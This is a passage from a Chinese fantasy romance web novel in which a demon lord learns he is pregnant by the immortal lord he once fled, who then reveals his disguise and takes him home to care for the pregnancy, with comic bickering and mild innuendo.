墨夙离说得很委婉,动作却一点都不委婉,抬手魔力狂放,竹林被摧枯拉朽的碾过一半,哗啦啦的声音刮得妙回春眼睛都瞪圆了。 “你,你……杀了魔尊?那你岂不是?” 他没办法把眼前的墨夙离和记忆中那个手无缚鸡之力的弱质少年联系起来。 墨夙离抬了抬下巴:“所以现在我是魔尊了。” 妙回春半晌回不过神来,但又有一种果然如此的感觉,好似墨夙离就该睥睨众生,凌驾于千万人之上,这是他第一次见到墨夙离就有的感觉。 “你都是魔尊了,应该没人能伤得了你。” 他看了眼倒下的竹子,眼前一黑,天杀的,那都是他亲手种下的! 他怀疑墨夙离是来找茬的。 墨夙离垂下眼帘,语气也低了几分,听起来很不爽,但又有一种乖顺的实诚感:“有人能伤我,我打不过仙界的折月仙尊,还被他下了毒。” 一听他中了毒,妙回春的表情瞬间严肃了几分:“进屋说。” 院子里晒着不同的草药,墨夙离顺手抓了一把枣干,他以往不爱吃甜甜腻腻的东西,但昨晚吃大枣有点上瘾,今天总是惦记着,感觉嘴里缺点嚼的东西。 “你说的折月仙尊,可是我想的那位?” 墨夙离嘎巴嘎巴嚼着枣干,晒干的枣子酥酥的,有点硬,吃起来废牙:“上界还有第二位折月仙尊吗?” “那不应该啊。”妙回春皱眉,眼底飞快地闪过一丝微妙情绪,“折月仙尊光风霁月,为人明正,断然不会使下毒的手段。” 他看着墨夙离咔咔嚼个不停,心里无语:“能一枪直接捅死你,没必要浪费毒药。” 墨夙离:“……” 你礼貌吗? “反正就是他给我下了毒,我没招惹过他,但他一直缠着我,整个仙界都知道他想杀了我。” 妙回春还是不太信,拿出脉枕,示意墨夙离把手放上去:“那你说说他给你下了什么毒。” “我不知道。”墨夙离伸着手让他把脉,眨了下眼睛,“反正是很古怪的毒,一接触到他的灵力,我的丹田就会疼,对了,我怀疑他在我丹田里种了一颗毒花。” 墨夙离又描述了一下丹田里那朵古怪的花苞,并没有发现给他把脉的妙回春表情变了又变,从震惊到迷茫,从怀疑到错愕,短短几秒之间世界观遭受了翻天覆地的冲击:“你这不是中毒了。” 此言一出,墨夙离身上的气压顿时低了下来:“不是中毒,那是怎么回事?” 妙回春一脸玄幻,半天才找到自己的声音:“你这似乎是……喜脉。” “啊?” 喜脉??? 墨夙离面无表情:“你把错脉了。” 水平遭到质疑,妙回春一下子就跳了起来:“不可能!绝对是喜脉,不是的话我把头摘下来给你肚子里的孩子当球踢!” “……真的是喜脉?”墨夙离的声音有点抖。 妙回春言之凿凿:“千真万确。” 一时之间,墨夙离不知该惊叹自己竟然能怀崽,还是该忧伤自己竟然怀了崽。 心里那点侥幸被从天而降的大石头砸得粉碎,墨夙离怔愣地躺在床上,双眼空洞无神,仿佛一具失去意识的漂亮尸体。 男子怀孕,真是闻所未闻……好吧,还是有所耳闻的,大名鼎鼎的前魔尊蔺月盏就以男人之身生过孩子。 妙回春看了眼挺尸的人,犹豫着要不要发问,最后实在没耐得住好奇:“你……怀的是谁的孩子?” 他只和闻折月做过这种事。 墨夙离心情复杂:“一个凡人。” “凡人?!”妙回春震惊,“什么凡人能让你怀上?他现在在哪里?你确定他是凡人?” “他已经死了。” “……” 他怀疑墨夙离在说气话。 妙回春摸了摸鼻子,眼底带着显而易见的好奇,他想不出什么样的人能让墨夙离心甘情愿:“是不是他辜负了你?” 分手之后有很多人会散布谣言,说负心汉死了。 墨夙离浑浑噩噩,还没从怀孕一事上反应过来,万万没想到,傻子龙那句“早生贵子”一语成谶了。 他就不该吃大枣! 枣干被捏成了渣渣,墨夙离在心里把闻折月翻来覆去骂了个遍,他像是手足无措慌乱到极点,稀里糊涂找到一个发泄点,就将所有事情都归咎于其上。 “是我辜负了他。”墨夙离难得的坦诚,他和妙回春很熟,打心眼里将老头当成一个可靠的长辈,“我始乱终弃了他,然后他太过悲伤,就死了。” “……” 妙回春的心情可以用“日了狗了”来形容,他一脑门问号,想说墨夙离编故事能不能编好一点,但仔细一想,始乱终弃又的确会是墨夙离能干出来的事。 这小子想一出是一出,哪天去刨了他相好的坟都有可能。 “那你现在打算怎么办?” 墨夙离的眼神逐渐恢复清明,他指着肚子,很冷静地问道:“现在能解决掉这玩意儿吗?” 他实在没办法接受自己怀孕生子。 他一定是在做梦,等睡醒了,一切就会恢复原样。 妙回春给了他一个同情的眼神,摇摇头:“很难,你之前说过这朵花扎根在你的丹田里,如果想要堕胎的话,你的丹田肯定会受到伤害。” 丹田之事无大小,轻则修为受损,重则性命堪忧。 “你之前说你对折月仙尊的灵力有反应,按理来说,孩子只会——” 妙回春张了张嘴,所有的话都卡在喉咙里,随即一把低沉冷淡的嗓音在他耳边命令道:“出来。” 隔空传音,密不外传。 “只会什么?”墨夙离转过头,眼神茫然。 妙回春心思百转,顺势掐住话头:“没什么,你的情况有点特殊,我得去翻一下医书,兴许能找到解决办法。” 他找了个借口离开竹屋,刚关上门,就被一道风卷着进了竹林深处,一身月白色长衫的男人负手而立,长/枪杵在地上,密不透风的威压被控制在两人四周。 “折月仙尊?” 妙回春认出了那杆枪——逐日,说起来,他和逐日枪,和眼前的人也有一些渊源。 闻折月并不意外他能认出自己,开门见山道:“他怀孕了,孩子是我的。” 妙回春给墨夙离把过脉,一定能看出墨夙离的真实情况,没什么好隐瞒的,况且他也不打算隐瞒。 “……” 妙回春嘴角抽搐,一时间表情比刚才给墨夙离把脉把出喜脉更丰富,墨夙离说孩子的父亲是个凡人,还死掉了……他看了眼面前气势汹汹的仙尊,在心里暗骂墨夙离说谎不打草稿。 凡人哪能叫魔族怀上子嗣,能霸占墨夙离丹田的血脉必定强大无比。 “他说你给他下了毒,你们两个……” “没下过毒,他是傻子。”闻折月也有些无语,把怀孕错认成中毒的恐怕也只有墨夙离了,“我在下界渡劫的时候,与他有一段情缘。” 他想破脑袋都想不到问题出在这里,墨夙离那小脑袋瓜里可能真长了一颗大枣。 闻折月想了想,又补充了一句:“他不知道那段情缘里的人是我。” 妙回春:“……” 连相好的是不是凡人都搞不清楚,如闻折月所言,墨夙离可能真是个傻子。 “有没有既能不伤害他身体,又能堕胎的办法?” 妙回春略有惊讶:“你想让他堕胎?” 闻折月气势汹汹来宣誓主权,他还以为他很期待这个孩子。 “他不想要这个孩子。” 血脉繁衍的本能令他为墨夙离怀孕一事欢欣鼓舞,但墨夙离的态度就像是一盆冰水,将所有喜悦都浇灭了,闻折月当然想要这个孩子,但墨夙离的意愿比孩子更重要。 爱比本能更重要。 妙回春琢磨了一下,这段情缘背后八成有误会:“说实话,很难,你刚刚应该听到我和他的对话了,男子并没有孕育子嗣的器官,那孩子扎根于他的丹田之中,就是正常生产都可能会出意外,别说堕胎了。” 说起来,自古两方结合孕育子嗣,血脉力量更为强大的一方会呈现压倒性的优势,比如闻折月的两个爹,闻逍的血脉力量更加强大,所以闻折月是龙。 龙族蛋生,可据墨夙离所说,他丹田里是分明是一朵花。 妙回春一脸狐疑,不动声色地打量着眼前之人:“仙尊勿怪,你确定他肚子里的孩子是你的吗?” 血脉这回事,还有谁能压倒仙魔混血。 “当然,他只和我在一起过。”闻折月抬了抬下巴,语气骄矜,“我能感觉到我的力量,在他体内有我的元阳,我们两个就是彼此的唯一。” 妙回春默默闭了嘴,罢了,天下之大无奇不有,或许折月仙尊不是龙,是只花妖,又或许千万年以前,龙都是诞生于花中。 妙回春一直没有回去,墨夙离出来找人了,闻折月远远地看了他一眼:“可否请前辈帮我个忙?” “不可。” 话音刚落,逐日枪微微倾斜,对准了妙回春的咽喉。 老头浑身一抖,不敢置信地看着面前笑得温文尔雅的人,这真是上界渊清玉絜的折月仙尊? “前辈,我很尊敬你。” ……你尊敬的方式就是拿枪指着我? 妙回春有一连串脏话想骂出口,但脖颈处凉飕飕的,逐日枪散发的凛冽寒气使他吐不出一个字。 闻折月语气悠然,丝毫没有针锋相对的意思,仿佛只是在寒暄闲聊:“我爹爹曾对我提起过前辈,前辈医术高超,但最值得人敬佩的是你懂得变通,救人全凭心情,也看眼缘。” 妙回春噎住,想到千百年前还是魔尊的蔺月盏杀到竹林,一把掐住他的脖子:“听说你救人看眼缘,本尊若是把你打得看不清人了,算不算是一种缘分?” 在后面抱着孩子的闻逍缓步走来,仙界战神果然体贴又周到:“你快把人放下,下手就不能轻一点吗,万一把他掐死怎么办,下次还是换我来吧,你没有分寸,我能让他喘不过气,又死不了。” 重温旧事,妙回春感动不已:“既是故人之子,有忙当然要帮。” 仙界那群人究竟知不知道折月仙尊的真面目,他是真信了谣传,还以为这小白龙和他那两个没人性的爹不一样,结果呢,青出于蓝胜于蓝! 见他松口,闻折月立马收起了逐日枪:“我想知道他的心意,前辈费心了。” 妙回春耷拉着脸回了竹屋,闻折月站在远处没有靠近,他刚知道他的力量能被墨夙离感应到,此时刻意收敛了气息。 想必当初识破他的伪装,也与感应有关。 闻折月啧了声,他就知道墨夙离没那么聪明。 竹屋里,墨夙离神色不虞:“你去了哪里?” 他去竹屋里找过了,里面没有人。 妙回春掏出一把新鲜的枣,这是闻折月刚刚塞给他的:“喏,看你连我的药材枣干都不放过,特地去给你摘的。” 山里的枣子,青绿中透着一丝红,确实新鲜。 墨夙离迟疑了一会儿,还是接了过来,不是他嘴馋,纯粹是丹田里那玩意儿饿了,想吃枣:“找到解决办法了吗?” “堕胎比较危险,你想试吗?” 墨夙离垂着眼帘:“会对我的丹田产生影响吗?” “我以为你会先问能不能保住你的命。” 墨夙离不置可否,对他来说,修为在命就在,要是丹田毁了,那离死到临头也不远了:“如果会损耗我的修为,那就算了。” 妙回春愣了下:“你要生下这个孩子?” 墨夙离的反应比他想象中平淡很多,咬着枣,点了点头:“既然生下来是最好的选择,我又何必给自己找罪受。” 他向来看得开,懂取舍,知道修炼功法要迎来情期,还是毅然决然地踏上了这条路,知道堕胎危害更大,所以选择对自己更有利的做法。 墨夙离就是这样,总能在两个很差的选择中平衡心态,然后在那条相对不太差的路上绽放光彩。 他就像一朵贫瘠土地里长出来的花,会汲取一切养分让自己活下去,肆意野蛮,充满向上的生命力。 妙回春以前觉得这是逆来顺受,但慢慢的他发现自己错了:“生下来是最好的选择,但我不能向你保证毫无风险。” 说白了生不生都是在走独木桥上,能不能平安走过去全靠运气,堕胎是直接跳下去找死,保胎无非是慢慢走,谁也不知道是悬崖下藏有生机,还是慢慢走会遇到惊喜。 差距只在时间上。 墨夙离当即做了选择:“现在不行,我还不想死。” 直白的话把紧张气氛都冲淡了,妙回春哭笑不得:“早知今日何必当初,你要是不去招惹人,也不必受这种罪,墨夙离,你后悔吗?” 竹林里的闻折月竖起了耳朵,衣袖被攥成了破布。 “为什么要后悔?”墨夙离耸耸肩,情期他必须要找人度过,找闻折月也是他的选择,“事情太突然了,说实话我也不讨厌这玩意儿。” 他指了指自己的丹田位置。 他讨厌的从来都不是那朵花,而是由此引发的各种麻烦,比如丹田会疼,比如会受到傻子龙力量的影响,比如这朵花可能对他的身体造成伤害。 他向来看眼缘,第一眼看到闻折月就移不开眼,第一次发现丹田里的花就充满了喜爱。 “你说你辜负了你那相好的,我还以为你恨屋及乌了。”妙回春斟酌着措辞,脖子上的冷汗都下来了,“看你也不像很讨厌你那相好的,为什么要始乱终弃?” 和妙回春一样紧张的还有闻折月,他现在生怕墨夙离再来一句“这是秘密”。 好在这次墨夙离没有继续卖关子。 “他不行。” 妙回春表情古怪:“哪里不行,该不会是不举吧?” 龙族,据说在这方面挺有天赋的。 竹林里的闻折月快炸了,不举个鬼!他明明那么猛!! 好在墨夙离很快就反驳了:“他太举了,上床跟上刑似的。” 他多狼狈的样子妙回春都见过,这点事不算丢脸,墨夙离撇了撇嘴,暗戳戳地抱怨:“他在床上就是个牲口,让他停也不听。” 情期他受情热的影响都扛不住闻折月,若是在平时,还不得被折腾散架。 墨夙离皱皱鼻子:“我只想躺平享受快乐,可不想有朝一日死在床上。” “…………” 说实话,这个理由很墨夙离,是他能做出来的事。 虽然不道德,虽然可能被一枪捅死,但妙回春还是笑出了猪叫:“哈哈哈你就因为这点小事跑了?” 墨夙离冷冷地瞥了他一眼:“什么叫这点小事,这件事最重要。” 他的初衷就是找一个能把自己伺候舒服的床伴,发现实物和想象有极大的差距,他跑不是正常的吗? 墨夙离觉得没有问题。 闻折月觉得问题很大。 因为在床帏之事上太猛而被抛弃,这是真实发生的事吗? 这比杀了他还让他难受,难受程度仅次于墨夙离当着他的面扒别人衣服,给他戴绿帽子,改嫁他人,让他的龙崽管别人叫爹。 “哗啦”一声,竹林惨遭毒手,在墨夙离手中逃过一劫的竹子齐刷刷地倒了下来,妙回春笑容僵住,下撇的嘴角比哭还要难看,天杀的!! “外面怎么回事?”墨夙离皱了皱眉头,作势就要出去。 他刚刚似乎感觉到了熟悉的力量波动。 妙回春连忙拉住他,挤出一个笑容:“大概是山林里的牲口出来捣乱,撞倒了我的竹林,他们这个牲口家族就这样,脾气不好。” “牲口?”墨夙离半信半疑,很少听到有人这样形容山里的野兽。 “你之前说折月仙尊给你下毒是怎么回事?” 妙回春本来不太好奇这事,但闻折月惹到他了,他要让这条牲口龙遭受更大的打击! 墨夙离的表情变了又变:“此事说来话长,之前我和他并不认识,但他突然开始针对我,加上我一感觉到他的力量丹田就会疼,所以就怀疑他暗中动了手脚。” 某种意义上来说,也没怀疑错,都珠胎暗结了。 妙回春摸了摸下巴:“他怎么针对你了?” “你以前不会问这么多。”墨夙离警惕地看着他。 妙回春清楚他有多机敏,正常套话八成是套不出来了,他索性破罐子破摔,直截了当地问道:“既然你这朵花能够吸收折月仙尊的力量成长,说不定他能帮助你顺利生产,我觉得你可以让他当你肚子里孩子的后爹。” “……还是算了吧。”墨夙离想也没想就拒绝了。 妙回春这回是真好奇了,墨夙离向来拎得清:“你不是不想死吗,有法子就得试试啊,兴许和他在一起真能保住你这条小命。” 墨夙离敬谢不敏:“和他在一起,那我不如去死。” 竹林里偷听的闻折月心都要碎了,他想不通为什么墨夙离对凡人的他还有几分情意,对真正的他却避如蛇蝎,莫非老天给他安排这一场情劫就是要让他求而不得吗? 妙回春帮闻折月问了他最好奇的问题:“为什么?” “我打不过他,怕被他一枪捅死。”墨夙离叹了口气,“最重要的是他不合我眼缘,太丑了,我看到他的脸就痿了!要是他长成我死了的相好那样,我冒着被一枪捅死的风险都要把他抓回去当我孩子的后爹。” 闻折月眼睛一亮,碎成八瓣的心“啪叽”一下复原了。 易容术一解,下一秒,风流倜傥的折月仙尊就出现在了竹屋前,他轻轻敲了敲那道不堪一击的门,语调轻快:“墨夙离,我来接你了~” 第28章 第 28 章 不久前刚刚骗了龙的墨夙离浑身一悚, 惊恐地看向门口。 傻子龙怎么这么快就找过来了? 闻折月语气轻松,落在墨夙离耳朵里宛如刽子手杀人前的微笑低语:我来杀你了~ 妙回春识趣地闭了嘴,默默降低存在感看戏, 还“我来接你了~”, 听听那不值钱的样子,哪里还有提着枪威胁人时的牲口样。 墨夙离没反应, 闻折月也不着急,笑着又问了一句:“还没玩够吗?” 这话落在墨夙离耳朵里,又自动转换成了:还没活够吗? 当然, 巴不得这辈子都见不着你。 但这注定只能是幻想, 墨夙离整理好心情,慢吞吞地往外走。 或许是受妙回春后爹言论的影响,他现在想到傻子龙的心情很奇怪, 就连感觉到他的灵力丹田会痛都带上了一丝狎昵的暧昧感觉。 门打开, 墨夙离到嘴边的话没说出口,反倒是眼睛瞪得溜圆:“你……” “喜欢我这张脸吗?” 闻折月微微一笑,都看呆了, 早说啊,喜欢的话…… “你不要脸!” 闻折月被他突如其来的骂声弄得一头雾水:“?” “你竟然假扮成他的样子,你不要脸!”墨夙离的脸色像打翻了砚台,泼墨一般黑沉,他指着闻折月的鼻子就是一顿骂, “不要脸, 不要脸!别以为你是仙尊我就会迎合你那些乱七八糟的癖好,你赶紧变回去, 你再敢用这张脸,我, 我就和你拼了!” 轻薄的门板“啪”一声拍上,闻折月呆愣在原地,他娘子好辣……啊,不是,墨夙离他发什么疯?! 这可不像是要抢人回去当后爹的架势。 妙回春弱弱地开口:“你怎么了?” “他不要脸,堂堂仙尊,竟然假扮成我那短命相好的模样来戏弄我!”墨夙离忿忿不平。 妙回春挑了下眉,打量着墨夙离的神色,魔尊大人脸都气红了,小眼神飘忽不定,其中惊疑闪烁,似乎不全是被气的。 墨夙离抿着唇,攥着衣袖的手紧了紧。 折月仙尊并未以真面目面对他,这一点墨夙离早就猜到了,他虽看不穿闻折月的易容术,但看得到仙界中人的反应,加之上界盛传折月仙尊俊美无俦,旁的可能是谣传,但在容貌方面,大家的眼神都是雪亮的,傻子龙想来也不可能生得丑陋。 他从没往心里去,反正傻子龙长什么样都和他无关,再好看也不可能和闻折月一样合他眼缘。 刚刚那一瞬间,他看到那张熟悉的脸,忽然间想起一件被他忽略的事,折月仙境里的喜被和家具,好像和他在凡间置办的一模一样。 折月仙尊,闻折月……他以为自己足够谨慎了,但实际上还是太过自大,压根没想过他的境界会低于传说中修为停滞百年的折月仙尊,一步错,满盘皆输,这就导致他在下界没能看出闻折月的真正身份。 早知道他就不嘚瑟了,看到闻折月的第一眼就遵从直觉,有多远跑多远,天高海阔,他惹不过总躲得过,现在可好,被堵上门来了。 墨夙离仔细回想了一下这两天发生的事情,颇有一种一头撞死在床头的冲动,当着正主的面哭坟,还说了那么多肉麻的话,怪不得闻折月越听越开心,不但没有知难而退,反而越发变态了。 他哀嚎一声,捂住了脸。 最令墨夙离无法接受的是,闻折月有意无意地透露了很多线索,又是书生仙子的故事,又是渡劫失败被娘子抛弃的倾诉,他没多想就罢了,就连丹田里那朵花渴求闻折月灵力,他也没有怀疑过。 难道他真是个傻子? 被拒之门外后,闻折月彻底蒙圈了,这和他想的不一样,墨夙离看到他的真实容貌后不该扑到他怀里诉说爱意,然后他们一起回家甜甜蜜蜜吗? 期待落空,闻折月的天又塌了。 妙回春将人领到了院子里:“你俩年纪不大,还挺会玩花样的,不同的脸不同的人设,主打一个广撒网捞一条鱼,你爱的人必须是我,啧啧啧,真会玩啊。” 闻折月:“……” 折月仙尊千余岁了,放在下界都算得上是老妖怪了,但在人均几千岁的上界,年纪真不算大,面前这位医修见过小时候的他,说他年纪不大也合理。 “阴差阳错。” 妙回春不知道他俩之间发生的事,但大抵能猜出个所以然来,无非就是他逃他追他插翅难飞,旧瓶子装新酒:“无妨,总会水到渠成。” 闻折月闻言一怔。 仔细想想,墨夙离会有那样的反应也正常,在他看来只是解除了一个易容术,但在墨夙离眼里,那就是亡妻诈尸,是死敌摇身一变成了枕边人,这戏码过于惊悚,一时之间无法接受也正常。 是他心急了。 都怪墨夙离那一番表白,他才知道墨夙离对他也是一见钟情,堕入情劫的人哪里有自控力,听到心上人夸一句恨不得抱着对方亲两口。 闻折月略一思索,又把假脸换上了,再给墨夙离一点时间也无妨。 房门被敲响,墨夙离心里一咯噔,下意识寻找逃跑的路线,窗户有点小,可能会被卡住,卡住也没关系,他可以一掌把这竹屋给拆了。 “出来吃饭了。” 墨夙离置若罔闻。 闻折月心下好笑,又跟他生不起气来,和傻子有什么好置气的:“你不说话,我就进来了。” “你别进来!” “晚了。” 闻折月推门而入,逐日枪飞速挡在墨夙离的逃跑路线上,他拿捏墨夙离的心思已经有一定把握了:“再偷跑一次的话,账就得翻倍算了。” 墨夙离僵硬地转过身,待看到闻折月又用上了易容术后,怔了一秒。 “发什么呆,过来吃饭。” 这高高举起轻轻放下的态度把墨夙离搞懵了,但不得不承认,面对这张脸,他自在了很多。 桌上摆着十几道菜,都是闻折月带来的:“这些饭菜都是仙界的,你试试,合不合你的口味。” 仙魔两族在吃食方面的偏好也有所差异。 墨夙离不搭腔,偷偷瞥了他一眼,低头扒饭,趁闻折月不注意再偷偷摸摸看一眼,继续扒饭。 闻折月心中好笑,在墨夙离不知第几次看过来的时候,猝不及防抬起眼,对上了他的视线:“不是说看到这张脸就会痿,怎么,除了痿还能下饭?” “……” 他听到了。 墨夙离坐立不安,如果他有尾巴的话,现在毛一定都炸开了。 闻折月什么时候开始偷听的?都听到了什么?墨夙离快速回忆了一下,心中忐忑,那他怀孕的事是不是也瞒不过闻折月了? “没想到魔尊大人还有见色起意的潜质,若是合了你的眼缘,就要被强抢回去当后爹。”闻折月语气悠然,不知是玩笑还是自嘲,故意臊他,“多亏我长得丑,让人一看就痿。” “……” 这傻子龙真的好记仇! 逗完人,闻折月的恶趣味得到了满足:“快吃吧,别饿着你肚子里的孩子。” 说完他不再言语,默不作声地往墨夙离碗里夹菜,颇有几分昨晚投喂大枣的架势。 墨夙离食不知味,想拒绝投喂又不敢,僵硬地把他夹的所有菜都吃了。 看他吃得差不多了,闻折月放下筷子,他是抽空来接墨夙离的,在来之前去见了天帝一面。想到从天帝那里听来的事,闻折月的脸色沉了几分。 “吃完了就收拾一下回去,还有事要做。” “什么事?”墨夙离瞬间警惕起来。 闻折月无奈失笑,墨夙离不止装傻充愣的样子像只猫,就连警惕的时候都很像,眼睛骨碌碌地转,见势不妙就要逃跑:“陪我去玉海明沼送尸体。” 墨夙离愣住:“啊?” 离开之前,闻折月从妙回春手上接过一大包药,帮他把倒下的竹子都救活了,妙回春半死不活的脸色终于回春,挤眉弄眼地嘱咐了他几句。 “为什么要我去送尸体?” 墨夙离不解,玉海明沼是仙界禁地,外人不得擅入,他一个魔族进去好吗? “我说的是陪我,我去送,你只是个添头。” 墨夙离哽住,被气笑了:“仙尊大人离了我会死吗?” 堂堂魔尊岂能受此大辱! 闻折月深深地看了他一眼。 这种感觉就像是被坟里爬出来的尸体注视着,直勾勾的眼神把墨夙离钉在原地,成亲第二天他跑了,然后闻折月就死了,死了……魔尊大人的嚣张气焰一下子灭了。 受点辱就受点辱,人生在世总要低头。 “是你离开我会死。”闻折月仿佛没有看出他在想什么,晃了晃手上的药,“离开我,你可能会胎死腹中。” “这是什么药?” 闻折月清了清嗓子,一本正经道:“你接触到我的灵力会不舒服,这些药可以缓解你的症状,让你不那么痛苦。” 墨夙离压根不听他忽悠:“所以这是什么药?” 闻折月沉默一瞬,如实道:“安胎药。” 根据妙回春的说法,墨夙离丹田里的崽子缺少另一位父亲的力量滋养,所以才一直无法发育。 在感知到闻折月的灵力后,崽子疯狂吸收,一时间无法消化的灵力泄露到丹田里,和墨夙离的魔力产生了对冲,导致了丹田的疼痛。 解决办法很简单,好好养胎,补充灵力。 由于墨夙离洞完房就跑了,孩子发育不良,当务之急是把缺失的灵力补起来,补够了,孩子就不会跟饿死鬼似的汲取他的灵力,墨夙离的丹田自然也不会再疼。 想起妙回春说的补灵力方法,闻折月不禁有些意动。 墨夙离拿不准他的想法:“你……你这是什么意思?” 他问得没头没尾,但闻折月听懂了:“好好照顾你,争取当上孩子的后爹。” 墨夙离一脸问号。 闻折月笑了声,把药塞进他怀里:“不过是闲来无事换了张脸,魔尊大人就害怕了,看来你对你那早死的男娘子果然情根深种。” 这话以前听听,墨夙离还能附和两句,但现在不行了。 墨夙离越无地自容,闻折月就越骚不够:“不过这样也好,我就喜欢玩刺激的,你心里有他,到时候咱俩去他坟头上偷/情,一定很刺激。” “……” 墨夙离真诚夸奖:“你是真的有病。” 闻折月虚心接受了:“没点病我都不好意思配你。” 怕欺负傻子。 四目相对,两人都对之前那出闹剧心照不宣。 闻折月熟门熟路地将人带回了自己的地盘,一进折月秘境,墨夙离直奔暖玉床,闻折月眼睁睁看着他从被子里摸出来一个巴掌大的小玩意儿。 是他在妖市送给苏梨的信物。 “你什么时候把这个藏在被子里的?” 今早起床的时候。 他当时想找个借口支开闻折月,又怕闻折月找他麻烦,所以故意把绣球丢在这里,既能圆丢东西的谎,又能暗戳戳的展示他对亡妻的爱意,让闻折月打消对他的想法,一箭双雕,一石二鸟。 没承想,箭扎他自个儿身上了,石头也砸了自己的脚。 墨夙离郁闷得很。 “不是藏的,我丢的。” 闻折月转瞬间就想明白了事情的原委,配合他演戏:“原来你说的重要物件就是这个啊,你那短命娘子送的定情信物吗?” 他一脸笑眯眯的表情,墨夙离从中读出了几分不怀好意。 魔尊大人硬着头皮开口:“算是吧。” “只送你这么个不值钱的小玩意儿,看来他对你也不是太好,要是我,这折月秘境里的珍宝任你挑选。” 闻折月啧啧,一副挖墙脚的模样:“读书人惯会花言巧语,他可曾对你说过什么?” 墨夙离下意识回想了一下,本以为会忘却的琐事,却清清楚楚地记在心里:“他说他不贪心。” 当时不觉得,如今想起,字字句句刻骨又锥心。 闻折月敛了笑意,仿佛又回到了妖市分别的时候,他低下头,声音很轻,像是一阵风就能吹散的叹息:“他一定说谎了。” 他很贪心。 这段时间足够墨夙离弄清楚心里的想法,要是墨夙离心甘情愿留在他身边,那就皆大欢喜,要是墨夙离不愿意,那他就强行把人留下,强扭的瓜也别有一番情趣,迟早有一天能被他养成甜瓜。 闻折月打定了主意,不管墨夙离同不同意,押着他在折月仙境开始了安胎的日子。 药煎上,灵力也要补上。 墨夙离看着泛着光的银白龙尾,结结巴巴:“真的要,要这样做吗?” 闻折月的原形很漂亮,通体银白,他早在下界就褪去了妖身,如今原形上也萦绕着淡淡的仙气,让人想到妖市中处处悬挂的白龙旗,神圣而不可侵犯。 如今神圣的龙神伏在床上,上半身还是人形,下半身已经幻化成了龙尾,两种形态结合在一起竟然不显得突兀,反而有种和谐相宜的性感。 墨夙离的眼睛都看直了,这是他第一次清楚地看到闻折月的原形,当初被撞翻了轿辇,只看到银白的身影飘然远去,而今细细打量,方知龙是多么瑰丽奇幻的造物。 “明日就要去玉海明沼了,魔尊大人也不想这里没完没了的疼吧?” 修长的指尖轻轻点在他的腹部。 在里面有一个隐秘的丹田,丹田里孕育着他们的骨血。 闻折月按捺不住激动的心情,龙尾悄悄爬上了暖玉床,以迅雷不及掩耳之势出击:“妙回春前辈说了,这样补充灵力最快最精纯,也不会很难受。” 他怀着隐秘的心思,要将举世无二的珍宝藏进胸膛里,藏在心尖上,不容旁人肖想半分。 “当然,若是魔尊大人想用其他方法来补充灵力,本尊也不介意,就是那样没办法躺平享受快乐,还可能会疼死在床上。” “……” 故意的,这条变态龙绝对是故意的! 龙族喜水,鳞片触之温凉,猝不及防贴上来,冰得墨夙离一个激灵,随即皮肤上就泛起火辣辣的疼痛感,低头一看,他的胳膊和腰都被龙尾缠住了,白皙的皮肤被龙鳞刮出了斑斑棱痕。 闻折月的眸色深了几分,哑声道:“怎么这么娇气啊,等会儿该不会哭出来吧?” 他已经很轻了,但没想到墨夙离这么不受力,碰一碰就红了。 魔尊大人觉得自己受到了侮辱,肃着脸,硬梆梆道:“谁娇气?其实我一点感觉都没有,哭?不可能!本尊压根就不知道这个字怎么写!” 他已经忘记了洞房时哭晕过去的自己。 如果忽略墨夙离红透的脖颈,这句话还有几分可信度,闻折月低下头,将满脸的笑意都藏进了墨夙离的颈窝里:“你误会了,娇气的是我。” 下一秒,龙尾就拱到了墨夙离面前,魔尊大人心跳一空,听到从颈边传来的撒娇声:“你弄得我尾巴好疼,快给我吹一吹呀~” 娇滴滴的,能掐出水里。 第29章 第 29 章 喑哑的呼吸贴着耳朵, 墨夙离的头皮都被那股子娇劲儿浸麻了:“我可没碰!” 他的胳膊被缠得紧紧的,完全是被禁锢的姿态,挣都挣不开, 哪有机会弄那条尾巴。 魔尊大人字不识一个, 不知道欲加之罪何患无辞,下一秒他的手就被握住, 放在了龙尾上,闻折月蹭了下他的指骨,从喉咙间闷出一声狡黠的笑意:“现在你碰到了。” 怎么有人连指尖的颜色都能这么好看。 墨夙离默默打出了一个问号:“哈?” “你碰得我好疼, 得对我负责。”似乎也觉得这样碰瓷过于不要脸, 闻折月退了一步,“吹一吹就行了,不然我会疼哭的。” 墨夙离无语至极, 同时心里又生出一丝好奇, 他还没见过猛龙落泪。 “想看我哭?”他那点小心思全写在脸上了,闻折月哂了声,“我一哭就喜欢折腾小寡夫, 夜黑风高上坟夜,要不咱们去给你的娘子烧点纸?到时候你边哭坟,我边帮你补充灵力,一定很有趣。” 龙这种生物,不仅长得神奇, 就连脑回路也很神奇, 墨夙离时常想撬开他的脑壳看看里面都装了什么。 “吹,我给你吹。”他掐住那截尾巴尖。 龙尾摸起来没有想象中硬, 靠近尾端的鳞片光滑细小,肉感更足, 几乎没有剐蹭感,像是握住了固态的水,手感好得出奇。 墨夙离下意识捏了两把,突然冒出一个想法:龙肉馄饨好吃吗? 鱼肉馄饨很好吃,龙可比鱼稀罕多了,尾巴捏起来更劲道,肉质应该更加鲜美。 一只手突然伸过来,掐住了墨夙离的脸,像是在报复他一样,收着力捏了两下,不疼,但作弄意味浓厚,跟逗小孩似的。 “是缺了你吃还是少了你喝,还吃龙肉馄饨,你怎么不直接说想红烧了我?”闻折月好气又好笑。 墨夙离一脸无辜,还没反应过来自己把心里话说出来了:“红骚?” 红烧也行啊! 最上乘的食材无论用什么烹饪方法做出来都好吃。 墨夙离的脸不大,一只手就能掐过来,距离很近,闻折月清楚地看到了他上下滚动的喉结:“怎么着,还真想尝尝红烧龙肉,不怕把牙硌掉?” 知道墨夙离贪吃,但没想到他贪到这种份上。 本来只是想想,但墨夙离这人满身的反骨,最吃不得激将法,一生气就容易上头,傻子龙竟然敢掐他的脸,那是能随便掐的吗?! 他拍开脸上的手,毫不客气地抓住那截龙尾啃了一口。 “好吃吗?” “有点咸,有点硬,像是被海水腌入味的老咸菜。” 墨夙离点评完就感觉到不妙,直觉疯狂预警,他手一抖,把那截龙尾扔了出去。 夜风吹过秘境,云雾深处有枝叶摇曳,发出沙沙的声音,很安静,静得能听清两道心跳声,一下一下,逐渐交织在一起。 他竟然咬了闻折月的尾巴! 妖族对原形最为忌讳,尾巴更是私密之处,墨夙离后知后觉的怂了,抬起头,对上一双墨黑的眸子,心一紧脑袋一抽,魔尊大人捂住了自己的脸:“诶呦,我的牙被硌掉了。” 紧张的气氛一泄而空,闻折月的眸底因为这刻意放轻,近乎讨好的小语气泛起一丝涟漪。 